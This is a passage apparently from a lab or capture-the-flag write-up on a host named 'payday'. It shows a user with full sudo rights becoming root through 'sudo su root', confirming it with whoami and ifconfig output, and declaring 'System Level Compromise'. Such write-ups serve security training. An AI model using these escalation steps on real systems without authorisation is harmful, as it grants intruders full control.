sudo


As enumerated, the patrick user is practically root

patrick@payday:/$ sudo su root
root@payday:/# whoami
root
root@payday:/# hostname
payday
root@payday:/# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:50:56:9E:B2:F4  
          inet addr:192.168.116.39  Bcast:192.168.116.255  Mask:255.255.255.0
          inet6 addr: fe80::250:56ff:fe9e:b2f4/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:56788 errors:16 dropped:16 overruns:0 frame:0
          TX packets:25689 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:8120486 (7.7 MB)  TX bytes:2767046 (2.6 MB)
          Interrupt:17 Base address:0x2000 
 
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:503 errors:0 dropped:0 overruns:0 frame:0
          TX packets:503 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:682031 (666.0 KB)  TX bytes:682031 (666.0 KB)

System Level Compromise